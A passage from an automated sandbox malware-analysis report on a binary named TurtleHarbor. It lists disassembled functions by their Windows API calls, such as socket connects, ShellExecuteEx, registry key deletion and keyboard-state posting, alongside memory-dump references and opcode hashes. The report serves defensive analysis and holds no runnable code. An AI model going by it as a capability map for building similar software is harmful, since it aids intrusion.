                                            • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0039964F,?,?,000000FF,00000000,?,000000FF,?), ref: 003968B6
                                            • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 003968D6
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                            • String ID:
                                            • API String ID: 3864802216-0
                                            • Opcode ID: 84efbba690ffc67e75b7dbe07c47460a726dc2d06fba9b0c14fb823d38a903e4
                                            • Instruction ID: 2000845ad6b2a890f63c31d788f5f612dd0ca94b21f74fceb6298e2a6127f4cd
                                            • Opcode Fuzzy Hash: 84efbba690ffc67e75b7dbe07c47460a726dc2d06fba9b0c14fb823d38a903e4
                                            • Instruction Fuzzy Hash: E6316B72101214BFEF168F10CC8AFEB3BADEB4A765F054065FE089A292D7759851CBB0
                                            Function 0036C748 Relevance: 12.1, APIs: 8, Instructions: 92COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memcmp
                                            • String ID:
                                            • API String ID: 2931989736-0
                                            • Opcode ID: 9dd77ff94014042f4a0aa7ba03dae14f505fb63ef56b0f7c2e2bbb8ebe712cdf
                                            • Instruction ID: 7f0ce3362819e8c61a0faea084f86ffd34ef4e9913d7a6b5a3ba5dcc6c135503
                                            • Opcode Fuzzy Hash: 9dd77ff94014042f4a0aa7ba03dae14f505fb63ef56b0f7c2e2bbb8ebe712cdf
                                            • Instruction Fuzzy Hash: 2921D1727212057FD61776628D83FBB376CDE26794F08D020FD46AB64AE710DE21CAA1
                                            Function 0037F166 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00314D37: __itow.LIBCMT ref: 00314D62
                                              • Part of subcall function 00314D37: __swprintf.LIBCMT ref: 00314DAC
                                              • Part of subcall function 0032436A: _wcscpy.LIBCMT ref: 0032438D
                                            • _wcstok.LIBCMT ref: 0037F2D7
                                            • _wcscpy.LIBCMT ref: 0037F366
                                            • _memset.LIBCMT ref: 0037F399
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                            • String ID: X
                                            • API String ID: 774024439-3081909835
                                            • Opcode ID: 6203eab15bd60e35fba26e9372cdf65cf6c1d1e22053523a8bd72fc555a3edeb
                                            • Instruction ID: 2cd21bc2895648a12b1465cdfbfdb4530ba1826b7cc527ac8f2a5cd5a8be797e
                                            • Opcode Fuzzy Hash: 6203eab15bd60e35fba26e9372cdf65cf6c1d1e22053523a8bd72fc555a3edeb
                                            • Instruction Fuzzy Hash: B0C19075504750DFC726EF24D981A5BB7E4BF89310F00892DF8998B2A2DB30ED45CB82
                                            Function 003871EE Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 003872EB
                                            • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 0038730C
                                            • WSAGetLastError.WSOCK32(00000000), ref: 0038731F
                                            • htons.WSOCK32(?,?,?,00000000,?), ref: 003873D5
                                            • inet_ntoa.WSOCK32(?), ref: 00387392
                                              • Part of subcall function 0036B4EA: _strlen.LIBCMT ref: 0036B4F4
                                              • Part of subcall function 0036B4EA: _memmove.LIBCMT ref: 0036B516
                                            • _strlen.LIBCMT ref: 0038742F
                                            • _memmove.LIBCMT ref: 00387498
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
                                            • String ID:
                                            • API String ID: 3619996494-0
                                            • Opcode ID: 07e636de5bc2cae17cc447a18c8ab00be44d533d5530341c8ce1f660d2aa4964
                                            • Instruction ID: 08fc3e544e8206ddf619a60791adc1d6a456bbc6f1abc980968e3f90a27aebbf
                                            • Opcode Fuzzy Hash: 07e636de5bc2cae17cc447a18c8ab00be44d533d5530341c8ce1f660d2aa4964
                                            • Instruction Fuzzy Hash: AD81D271108300ABC316FB65DC85F6BB7A9EF88714F20895CF5559B292EB70DD41CB91
                                            Function 00311800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 2f316fa56a6c356ebe1f6eba1fbf627bc488b03ac01045a3f280952bc1fb51f8
                                            • Instruction ID: 8d45b7075d61575a3e3480a18f1c4a5e523c358c76a13f28fd476142d2801249
                                            • Opcode Fuzzy Hash: 2f316fa56a6c356ebe1f6eba1fbf627bc488b03ac01045a3f280952bc1fb51f8
                                            • Instruction Fuzzy Hash: 5B715F30900109EFDB0ACF54CC45AEEBB79FF8A314F148159F915AA251C770AA51CB60
                                            Function 0039B9C3 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • IsWindow.USER32(01015580), ref: 0039BA5D
                                            • IsWindowEnabled.USER32(01015580), ref: 0039BA69
                                            • SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0039BB4D
                                            • SendMessageW.USER32(01015580,000000B0,?,?), ref: 0039BB84
                                            • IsDlgButtonChecked.USER32(?,?), ref: 0039BBC1
                                            • GetWindowLongW.USER32(01015580,000000EC), ref: 0039BBE3
                                            • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0039BBFB
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                            • String ID:
                                            • API String ID: 4072528602-0
                                            • Opcode ID: ad151c1e7fa7c3b0be436ddbff3f2e26c02973b33478923d3591ce6b1ec2694b
                                            • Instruction ID: 2fea52926ded98c6f5b8e495461e49f120b2204d21b127c4f60b144c76f8a63a
                                            • Opcode Fuzzy Hash: ad151c1e7fa7c3b0be436ddbff3f2e26c02973b33478923d3591ce6b1ec2694b
                                            • Instruction Fuzzy Hash: B171DD34604204AFDF279F54EAD4FBAFBB9EF4A300F054059E985972A1C731AD50DB60
                                            Function 0038FB07 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 0038FB31
                                            • _memset.LIBCMT ref: 0038FBFA
                                            • ShellExecuteExW.SHELL32(?), ref: 0038FC3F
                                              • Part of subcall function 00314D37: __itow.LIBCMT ref: 00314D62
                                              • Part of subcall function 00314D37: __swprintf.LIBCMT ref: 00314DAC
                                              • Part of subcall function 0032436A: _wcscpy.LIBCMT ref: 0032438D
                                            • GetProcessId.KERNEL32(00000000), ref: 0038FCB6
                                            • CloseHandle.KERNEL32(00000000), ref: 0038FCE5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
                                            • String ID: @
                                            • API String ID: 3522835683-2766056989
                                            • Opcode ID: a8412440a576fb5233740b883546cb6806d9ac006e173f8992b9978e011a4ef9
                                            • Instruction ID: c0b2361af09bbba6c10618c4eac9e9ce3f7aa3b3ac074cb74032a250a373ae64
                                            • Opcode Fuzzy Hash: a8412440a576fb5233740b883546cb6806d9ac006e173f8992b9978e011a4ef9
                                            • Instruction Fuzzy Hash: 75619EB5A00619DFCF16EF94D5919AEB7F4FF48310F1184A9E816AB351DB30AD41CB90
                                            Function 0037174C Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetParent.USER32(?), ref: 0037178B
                                            • GetKeyboardState.USER32(?), ref: 003717A0
                                            • SetKeyboardState.USER32(?), ref: 00371801
                                            • PostMessageW.USER32(?,00000101,00000010,?), ref: 0037182F
                                            • PostMessageW.USER32(?,00000101,00000011,?), ref: 0037184E
                                            • PostMessageW.USER32(?,00000101,00000012,?), ref: 00371894
                                            • PostMessageW.USER32(?,00000101,0000005B,?), ref: 003718B7
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessagePost$KeyboardState$Parent
                                            • String ID:
                                            • API String ID: 87235514-0
                                            • Opcode ID: 8856287208f2a412002d18cd95d0e5d3c6db78574cafa594146d0208d7608a2a
                                            • Instruction ID: d2d8f9ccc9a7f155dee5c4db1b382fa90f5408b3510e8e55c916d87783548055
                                            • Opcode Fuzzy Hash: 8856287208f2a412002d18cd95d0e5d3c6db78574cafa594146d0208d7608a2a
                                            • Instruction Fuzzy Hash: B851D362A087D53DFB37463CC855BBA7EE95B06300F09C589E1DD598D2C29CDC84D751
                                            Function 00371565 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetParent.USER32(00000000), ref: 003715A4
                                            • GetKeyboardState.USER32(?), ref: 003715B9
                                            • SetKeyboardState.USER32(?), ref: 0037161A
                                            • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00371646
                                            • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00371663
                                            • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 003716A7
                                            • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 003716C8
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessagePost$KeyboardState$Parent
                                            • String ID:
                                            • API String ID: 87235514-0
                                            • Opcode ID: e70ec5a880aa20efb8c9a9f4b1d2575b8a11c5903f2dca925c4ccc06a8326076
                                            • Instruction ID: 63f5d880791bc83865e34580486190d97e8fc20c3a4f0e920f0f4b47ec9d582f
                                            • Opcode Fuzzy Hash: e70ec5a880aa20efb8c9a9f4b1d2575b8a11c5903f2dca925c4ccc06a8326076
                                            • Instruction Fuzzy Hash: F451D5A26047D53DFB37872C8C45BBABEE95B06300F0CC589E5DD5A8C2D698AC98E750
                                            Function 00375BB8 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _wcsncpy$LocalTime
                                            • String ID:
                                            • API String ID: 2945705084-0
                                            • Opcode ID: 04e3ef554c4a57b83ed61eff85adad977b950216cce2e3681923171e1fdfe5ac
                                            • Instruction ID: 58add81af187345ecb9a67edebd42bfa213e687630c9839c2d799d56ac5e1555
                                            • Opcode Fuzzy Hash: 04e3ef554c4a57b83ed61eff85adad977b950216cce2e3681923171e1fdfe5ac
                                            • Instruction Fuzzy Hash: 12419265C2061875CB23FBB4CC86ACFB7B8AF05310F508856F519E7121E635A715C3A5
                                            Function 00373B64 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00374BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00373B8A,?), ref: 00374BE0
                                              • Part of subcall function 00374BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00373B8A,?), ref: 00374BF9
                                            • lstrcmpiW.KERNEL32(?,?), ref: 00373BAA
                                            • _wcscmp.LIBCMT ref: 00373BC6
                                            • MoveFileW.KERNEL32(?,?), ref: 00373BDE
                                            • _wcscat.LIBCMT ref: 00373C26
                                            • SHFileOperationW.SHELL32(?), ref: 00373C92
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
                                            • String ID: \*.*
                                            • API String ID: 1377345388-1173974218
                                            • Opcode ID: 3d726025cb6cffad6a9c444bbc16b221c6d5ae074af877635341f5e48f144d39
                                            • Instruction ID: 133362a47f8845b7cc66f03312986cd9d21a1a8284f230a56d291800be84adcc
                                            • Opcode Fuzzy Hash: 3d726025cb6cffad6a9c444bbc16b221c6d5ae074af877635341f5e48f144d39
                                            • Instruction Fuzzy Hash: E8418D7150C345AAC767EF64D481ADBB7ECAF89340F40492EF48AC7151EB38D688C752
                                            Function 003978B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 003978CF
                                            • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00397976
                                            • IsMenu.USER32(?), ref: 0039798E
                                            • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 003979D6
                                            • DrawMenuBar.USER32 ref: 003979E9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Menu$Item$DrawInfoInsert_memset
                                            • String ID: 0
                                            • API String ID: 3866635326-4108050209
                                            • Opcode ID: 1fee37d45eff9699fbf450e33061575bcf3d78752f02630d853f2a5f81f1971b
                                            • Instruction ID: 3326edf9ac8eeee6d82d5887beb843f162632f8dba5559e8f7b6b475f63485f2
                                            • Opcode Fuzzy Hash: 1fee37d45eff9699fbf450e33061575bcf3d78752f02630d853f2a5f81f1971b
                                            • Instruction Fuzzy Hash: 77415B75A18209EFDF12DF54D884EAABBF9FF0A310F058129E9559B290D734AD50CFA0
                                            Function 00391602 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00391631
                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0039165B
                                            • FreeLibrary.KERNEL32(00000000), ref: 00391712
                                              • Part of subcall function 00391602: RegCloseKey.ADVAPI32(?), ref: 00391678
                                              • Part of subcall function 00391602: FreeLibrary.KERNEL32(?), ref: 003916CA
                                              • Part of subcall function 00391602: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 003916ED
                                            • RegDeleteKeyW.ADVAPI32(?,?), ref: 003916B5
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: EnumFreeLibrary$CloseDeleteOpen
                                            • String ID:
                                            • API String ID: 395352322-0
                                            • Opcode ID: 1c2a652fe739ee67b702828279979194adccb58731b89fd0a7c9c594250604b8
                                            • Instruction ID: c54fae1c9a7d3eea77453c822384bae8b37d9846b89e56217cbd1c9d853d89c9
                                            • Opcode Fuzzy Hash: 1c2a652fe739ee67b702828279979194adccb58731b89fd0a7c9c594250604b8
                                            • Instruction Fuzzy Hash: 46310AB590110ABFDF16DB90DC89AFFB7BCEF09341F04016AE916A2150EA749E459AA0
                                            Function 003968F2 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00396911
                                            • GetWindowLongW.USER32(01015580,000000F0), ref: 00396944
                                            • GetWindowLongW.USER32(01015580,000000F0), ref: 00396979
                                            • SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 003969AB
                                            • SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 003969D5
                                            • GetWindowLongW.USER32(?,000000F0), ref: 003969E6
                                            • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00396A00
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: LongWindow$MessageSend
                                            • String ID:
                                            • API String ID: 2178440468-0
                                            • Opcode ID: 480f71103d620af07c7bb23135b8b5961b1b6c9b1cb9f2dfaadf1a184b54dc3e
                                            • Instruction ID: 6604bce32b5504425c9130980a78829e81e56398b7d13feba0a22be9eeb54f91
                                            • Opcode Fuzzy Hash: 480f71103d620af07c7bb23135b8b5961b1b6c9b1cb9f2dfaadf1a184b54dc3e
                                            • Instruction Fuzzy Hash: 75311230606151AFDF22CF58ED8AF6537E9EB4A714F1A01A5F9158F2B2CB72AC40DB50
                                            Function 0036E287 Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0036E2CA
                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0036E2F0
                                            • SysAllocString.OLEAUT32(00000000), ref: 0036E2F3
                                            • SysAllocString.OLEAUT32(?), ref: 0036E311
                                            • SysFreeString.OLEAUT32(?), ref: 0036E31A
                                            • StringFromGUID2.OLE32(?,?,00000028), ref: 0036E33F
                                            • SysAllocString.OLEAUT32(?), ref: 0036E34D
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                            • String ID:
                                            • API String ID: 3761583154-0
                                            • Opcode ID: c126c2d2b15894404896745498660c73078e5a9997c552cddc5c41ce3f42461a
                                            • Instruction ID: b47fd45e6172185256813fbebd3cab8bd5e4af552f79d7af0da3df5ec0f9461d
                                            • Opcode Fuzzy Hash: c126c2d2b15894404896745498660c73078e5a9997c552cddc5c41ce3f42461a
                                            • Instruction Fuzzy Hash: 5A21A47A604219BF9F16DFA8DC88CBF77ACEB09360B158125FA14DB254D670EC498B60
                                            Function 0038685E Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00388475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 003884A0
                                            • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 003868B1
                                            • WSAGetLastError.WSOCK32(00000000), ref: 003868C0
                                            • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 003868F9
                                            • connect.WSOCK32(00000000,?,00000010), ref: 00386902
                                            • WSAGetLastError.WSOCK32 ref: 0038690C
                                            • closesocket.WSOCK32(00000000), ref: 00386935
                                            • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0038694E
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
